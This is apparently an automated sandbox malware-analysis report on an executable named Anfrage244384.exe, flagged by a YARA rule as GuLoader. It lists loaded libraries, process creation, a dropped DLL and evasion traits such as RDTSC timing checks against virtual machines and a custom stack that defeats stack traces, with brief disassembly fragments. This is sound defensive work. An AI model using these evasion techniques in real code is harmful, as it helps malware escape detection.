      Source: C:\Users\user\Desktop\Anfrage244384.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
      Source: Anfrage244384.exeReversingLabs: Detection: 31%
      Source: C:\Users\user\Desktop\Anfrage244384.exeFile read: C:\Users\user\Desktop\Anfrage244384.exeJump to behavior
      Source: unknownProcess created: C:\Users\user\Desktop\Anfrage244384.exe "C:\Users\user\Desktop\Anfrage244384.exe"
      Source: C:\Users\user\Desktop\Anfrage244384.exeProcess created: C:\Users\user\Desktop\Anfrage244384.exe "C:\Users\user\Desktop\Anfrage244384.exe"
      Source: C:\Users\user\Desktop\Anfrage244384.exeProcess created: C:\Users\user\Desktop\Anfrage244384.exe "C:\Users\user\Desktop\Anfrage244384.exe"Jump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: userenv.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: dwmapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: oleacc.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: version.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: shfolder.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: riched20.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: usp10.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: msls31.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: textinputframework.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: coreuicomponents.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: coremessaging.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: ntmarta.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: iertutil.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: sspicli.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: powrprof.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: winhttp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: wkscli.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: umpdc.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: wininet.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: windows.storage.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: wldp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: profapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: mswsock.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: iphlpapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: winnsi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: urlmon.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: srvcli.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: dnsapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: rasadhlp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: fwpuclnt.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: schannel.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: mskeyprotect.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: ntasn1.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: msasn1.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: dpapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: cryptsp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: rsaenh.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: gpapi.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: ncrypt.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeSection loaded: ncryptsslp.dllJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32Jump to behavior
      Source: Anfrage244384.exeStatic file information: File size 1235192 > 1048576
      Source: Anfrage244384.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
      Source: Binary string: mshtml.pdb source: Anfrage244384.exe, 00000004.00000001.1922306058.0000000000649000.00000008.00000001.01000000.00000007.sdmp
      Source: Binary string: wntdll.pdbUGP source: Anfrage244384.exe, 00000004.00000003.2319937495.0000000034CAC000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000004.00000003.2317765702.0000000034AF7000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Anfrage244384.exe, 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmp
      Source: Binary string: wntdll.pdb source: Anfrage244384.exe, Anfrage244384.exe, 00000004.00000003.2319937495.0000000034CAC000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000004.00000003.2317765702.0000000034AF7000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000004.00000002.2379748407.0000000034E60000.00000040.00001000.00020000.00000000.sdmp, Anfrage244384.exe, 00000004.00000002.2379748407.0000000034FFE000.00000040.00001000.00020000.00000000.sdmp
      Source: Binary string: mshtml.pdbUGP source: Anfrage244384.exe, 00000004.00000001.1922306058.0000000000649000.00000008.00000001.01000000.00000007.sdmp

      Data Obfuscation

      barindex
      Yara detected GuLoader
      Source: Yara matchFile source: 00000000.00000002.1923188964.0000000003E32000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,0_2_10001A5D
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_10002D20 push eax; ret 0_2_10002D4E
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E909AD push ecx; mov dword ptr [esp], ecx4_2_34E909B6
      Source: C:\Users\user\Desktop\Anfrage244384.exeFile created: C:\Users\user\AppData\Local\Temp\nsq755.tmp\System.dllJump to dropped file
      Source: C:\Users\user\Desktop\Anfrage244384.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeProcess information set: NOOPENFILEERRORBOXJump to behavior

      Malware Analysis System Evasion

      barindex
      Switches to a custom stack to bypass stack traces
      Source: C:\Users\user\Desktop\Anfrage244384.exeAPI/Special instruction interceptor: Address: 40FEB98
      Source: C:\Users\user\Desktop\Anfrage244384.exeAPI/Special instruction interceptor: Address: 2DFEB98
      Tries to detect virtualization through RDTSC time measurements
      Source: C:\Users\user\Desktop\Anfrage244384.exeRDTSC instruction interceptor: First address: 40C40EF second address: 40C40EF instructions: 0x00000000 rdtsc 0x00000002 test ch, bh 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F1F3CD5C856h 0x00000008 inc ebp 0x00000009 test bl, cl 0x0000000b inc ebx 0x0000000c rdtsc
      Source: C:\Users\user\Desktop\Anfrage244384.exeRDTSC instruction interceptor: First address: 2DC40EF second address: 2DC40EF instructions: 0x00000000 rdtsc 0x00000002 test ch, bh 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F1F3CDAD006h 0x00000008 inc ebp 0x00000009 test bl, cl 0x0000000b inc ebx 0x0000000c rdtsc
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F0D1C0 rdtsc 4_2_34F0D1C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsq755.tmp\System.dllJump to dropped file
      Source: C:\Users\user\Desktop\Anfrage244384.exeAPI coverage: 0.1 %
      Source: C:\Users\user\Desktop\Anfrage244384.exe TID: 7980Thread sleep time: -30000s >= -30000sJump to behavior
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_00405665 GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,0_2_00405665
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_0040270B FindFirstFileA,0_2_0040270B
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_004060C7 FindFirstFileA,FindClose,0_2_004060C7
      Source: Anfrage244384.exe, 00000004.00000003.2317987528.0000000004C2D000.00000004.00000020.00020000.00000000.sdmp, Anfrage244384.exe, 00000004.00000002.2361060766.0000000004C2D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
      Source: Anfrage244384.exe, 00000004.00000002.2361009105.0000000004BD8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWx!
      Source: C:\Users\user\Desktop\Anfrage244384.exeAPI call chain: ExitProcess graph end nodegraph_0-3754
      Source: C:\Users\user\Desktop\Anfrage244384.exeAPI call chain: ExitProcess graph end nodegraph_0-3940
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F0D1C0 rdtsc 4_2_34F0D1C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ED35C0 NtCreateMutant,LdrInitializeThunk,4_2_34ED35C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 0_2_10001A5D GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,0_2_10001A5D
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F394E0 mov eax, dword ptr fs:[00000030h]4_2_34F394E0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F654DB mov eax, dword ptr fs:[00000030h]4_2_34F654DB
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E874B0 mov eax, dword ptr fs:[00000030h]4_2_34E874B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E874B0 mov eax, dword ptr fs:[00000030h]4_2_34E874B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC34B0 mov eax, dword ptr fs:[00000030h]4_2_34EC34B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8B480 mov eax, dword ptr fs:[00000030h]4_2_34E8B480
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E99486 mov eax, dword ptr fs:[00000030h]4_2_34E99486
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E99486 mov eax, dword ptr fs:[00000030h]4_2_34E99486
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E91460 mov eax, dword ptr fs:[00000030h]4_2_34E91460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E91460 mov eax, dword ptr fs:[00000030h]4_2_34E91460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E91460 mov eax, dword ptr fs:[00000030h]4_2_34E91460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E91460 mov eax, dword ptr fs:[00000030h]4_2_34E91460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E91460 mov eax, dword ptr fs:[00000030h]4_2_34E91460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F6547F mov eax, dword ptr fs:[00000030h]4_2_34F6547F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EAF460 mov eax, dword ptr fs:[00000030h]4_2_34EAF460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EAF460 mov eax, dword ptr fs:[00000030h]4_2_34EAF460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EAF460 mov eax, dword ptr fs:[00000030h]4_2_34EAF460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EAF460 mov eax, dword ptr fs:[00000030h]4_2_34EAF460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EAF460 mov eax, dword ptr fs:[00000030h]4_2_34EAF460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EAF460 mov eax, dword ptr fs:[00000030h]4_2_34EAF460
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3B450 mov eax, dword ptr fs:[00000030h]4_2_34F3B450
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3B450 mov eax, dword ptr fs:[00000030h]4_2_34F3B450
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3B450 mov eax, dword ptr fs:[00000030h]4_2_34F3B450
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3B450 mov eax, dword ptr fs:[00000030h]4_2_34F3B450
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4F453 mov eax, dword ptr fs:[00000030h]4_2_34F4F453
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9B440 mov eax, dword ptr fs:[00000030h]4_2_34E9B440
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9B440 mov eax, dword ptr fs:[00000030h]4_2_34E9B440
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9B440 mov eax, dword ptr fs:[00000030h]4_2_34E9B440
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9B440 mov eax, dword ptr fs:[00000030h]4_2_34E9B440
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9B440 mov eax, dword ptr fs:[00000030h]4_2_34E9B440
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9B440 mov eax, dword ptr fs:[00000030h]4_2_34E9B440
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F17410 mov eax, dword ptr fs:[00000030h]4_2_34F17410
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB340D mov eax, dword ptr fs:[00000030h]4_2_34EB340D
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB15F4 mov eax, dword ptr fs:[00000030h]4_2_34EB15F4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB15F4 mov eax, dword ptr fs:[00000030h]4_2_34EB15F4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB15F4 mov eax, dword ptr fs:[00000030h]4_2_34EB15F4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB15F4 mov eax, dword ptr fs:[00000030h]4_2_34EB15F4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB15F4 mov eax, dword ptr fs:[00000030h]4_2_34EB15F4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB15F4 mov eax, dword ptr fs:[00000030h]4_2_34EB15F4
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F0D5D0 mov eax, dword ptr fs:[00000030h]4_2_34F0D5D0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F0D5D0 mov ecx, dword ptr fs:[00000030h]4_2_34F0D5D0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F635D7 mov eax, dword ptr fs:[00000030h]4_2_34F635D7
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F635D7 mov eax, dword ptr fs:[00000030h]4_2_34F635D7
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F635D7 mov eax, dword ptr fs:[00000030h]4_2_34F635D7
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC55C0 mov eax, dword ptr fs:[00000030h]4_2_34EC55C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB95DA mov eax, dword ptr fs:[00000030h]4_2_34EB95DA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F655C9 mov eax, dword ptr fs:[00000030h]4_2_34F655C9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB15A9 mov eax, dword ptr fs:[00000030h]4_2_34EB15A9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB15A9 mov eax, dword ptr fs:[00000030h]4_2_34EB15A9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB15A9 mov eax, dword ptr fs:[00000030h]4_2_34EB15A9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB15A9 mov eax, dword ptr fs:[00000030h]4_2_34EB15A9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EB15A9 mov eax, dword ptr fs:[00000030h]4_2_34EB15A9
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F2D5B0 mov eax, dword ptr fs:[00000030h]4_2_34F2D5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F2D5B0 mov eax, dword ptr fs:[00000030h]4_2_34F2D5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F235BA mov eax, dword ptr fs:[00000030h]4_2_34F235BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F235BA mov eax, dword ptr fs:[00000030h]4_2_34F235BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F235BA mov eax, dword ptr fs:[00000030h]4_2_34F235BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F235BA mov eax, dword ptr fs:[00000030h]4_2_34F235BA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4F5BE mov eax, dword ptr fs:[00000030h]4_2_34F4F5BE
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBF5B0 mov eax, dword ptr fs:[00000030h]4_2_34EBF5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBF5B0 mov eax, dword ptr fs:[00000030h]4_2_34EBF5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBF5B0 mov eax, dword ptr fs:[00000030h]4_2_34EBF5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBF5B0 mov eax, dword ptr fs:[00000030h]4_2_34EBF5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBF5B0 mov eax, dword ptr fs:[00000030h]4_2_34EBF5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBF5B0 mov eax, dword ptr fs:[00000030h]4_2_34EBF5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBF5B0 mov eax, dword ptr fs:[00000030h]4_2_34EBF5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBF5B0 mov eax, dword ptr fs:[00000030h]4_2_34EBF5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBF5B0 mov eax, dword ptr fs:[00000030h]4_2_34EBF5B0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1B594 mov eax, dword ptr fs:[00000030h]4_2_34F1B594
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F1B594 mov eax, dword ptr fs:[00000030h]4_2_34F1B594
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8758F mov eax, dword ptr fs:[00000030h]4_2_34E8758F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8758F mov eax, dword ptr fs:[00000030h]4_2_34E8758F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8758F mov eax, dword ptr fs:[00000030h]4_2_34E8758F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8B562 mov eax, dword ptr fs:[00000030h]4_2_34E8B562
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ECB570 mov eax, dword ptr fs:[00000030h]4_2_34ECB570
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ECB570 mov eax, dword ptr fs:[00000030h]4_2_34ECB570
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3B550 mov eax, dword ptr fs:[00000030h]4_2_34F3B550
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3B550 mov eax, dword ptr fs:[00000030h]4_2_34F3B550
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3B550 mov eax, dword ptr fs:[00000030h]4_2_34F3B550
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F65537 mov eax, dword ptr fs:[00000030h]4_2_34F65537
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3F525 mov eax, dword ptr fs:[00000030h]4_2_34F3F525
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3F525 mov eax, dword ptr fs:[00000030h]4_2_34F3F525
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3F525 mov eax, dword ptr fs:[00000030h]4_2_34F3F525
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3F525 mov eax, dword ptr fs:[00000030h]4_2_34F3F525
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3F525 mov eax, dword ptr fs:[00000030h]4_2_34F3F525
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3F525 mov eax, dword ptr fs:[00000030h]4_2_34F3F525
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F3F525 mov eax, dword ptr fs:[00000030h]4_2_34F3F525
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4B52F mov eax, dword ptr fs:[00000030h]4_2_34F4B52F
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ECD530 mov eax, dword ptr fs:[00000030h]4_2_34ECD530
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34ECD530 mov eax, dword ptr fs:[00000030h]4_2_34ECD530
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9D534 mov eax, dword ptr fs:[00000030h]4_2_34E9D534
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9D534 mov eax, dword ptr fs:[00000030h]4_2_34E9D534
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9D534 mov eax, dword ptr fs:[00000030h]4_2_34E9D534
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9D534 mov eax, dword ptr fs:[00000030h]4_2_34E9D534
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9D534 mov eax, dword ptr fs:[00000030h]4_2_34E9D534
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9D534 mov eax, dword ptr fs:[00000030h]4_2_34E9D534
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC7505 mov eax, dword ptr fs:[00000030h]4_2_34EC7505
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC7505 mov ecx, dword ptr fs:[00000030h]4_2_34EC7505
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4D6F0 mov eax, dword ptr fs:[00000030h]4_2_34F4D6F0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBD6E0 mov eax, dword ptr fs:[00000030h]4_2_34EBD6E0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EBD6E0 mov eax, dword ptr fs:[00000030h]4_2_34EBD6E0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F236EE mov eax, dword ptr fs:[00000030h]4_2_34F236EE
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F236EE mov eax, dword ptr fs:[00000030h]4_2_34F236EE
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F236EE mov eax, dword ptr fs:[00000030h]4_2_34F236EE
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F236EE mov eax, dword ptr fs:[00000030h]4_2_34F236EE
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F236EE mov eax, dword ptr fs:[00000030h]4_2_34F236EE
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F236EE mov eax, dword ptr fs:[00000030h]4_2_34F236EE
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34EC16CF mov eax, dword ptr fs:[00000030h]4_2_34EC16CF
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9B6C0 mov eax, dword ptr fs:[00000030h]4_2_34E9B6C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9B6C0 mov eax, dword ptr fs:[00000030h]4_2_34E9B6C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9B6C0 mov eax, dword ptr fs:[00000030h]4_2_34E9B6C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9B6C0 mov eax, dword ptr fs:[00000030h]4_2_34E9B6C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9B6C0 mov eax, dword ptr fs:[00000030h]4_2_34E9B6C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E9B6C0 mov eax, dword ptr fs:[00000030h]4_2_34E9B6C0
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F4F6C7 mov eax, dword ptr fs:[00000030h]4_2_34F4F6C7
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F516CC mov eax, dword ptr fs:[00000030h]4_2_34F516CC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F516CC mov eax, dword ptr fs:[00000030h]4_2_34F516CC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F516CC mov eax, dword ptr fs:[00000030h]4_2_34F516CC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34F516CC mov eax, dword ptr fs:[00000030h]4_2_34F516CC
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8D6AA mov eax, dword ptr fs:[00000030h]4_2_34E8D6AA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E8D6AA mov eax, dword ptr fs:[00000030h]4_2_34E8D6AA
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E876B2 mov eax, dword ptr fs:[00000030h]4_2_34E876B2
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E876B2 mov eax, dword ptr fs:[00000030h]4_2_34E876B2
      Source: C:\Users\user\Desktop\Anfrage244384.exeCode function: 4_2_34E876B2 mov eax, dword ptr fs:[00000030h]4_2_34E876B2
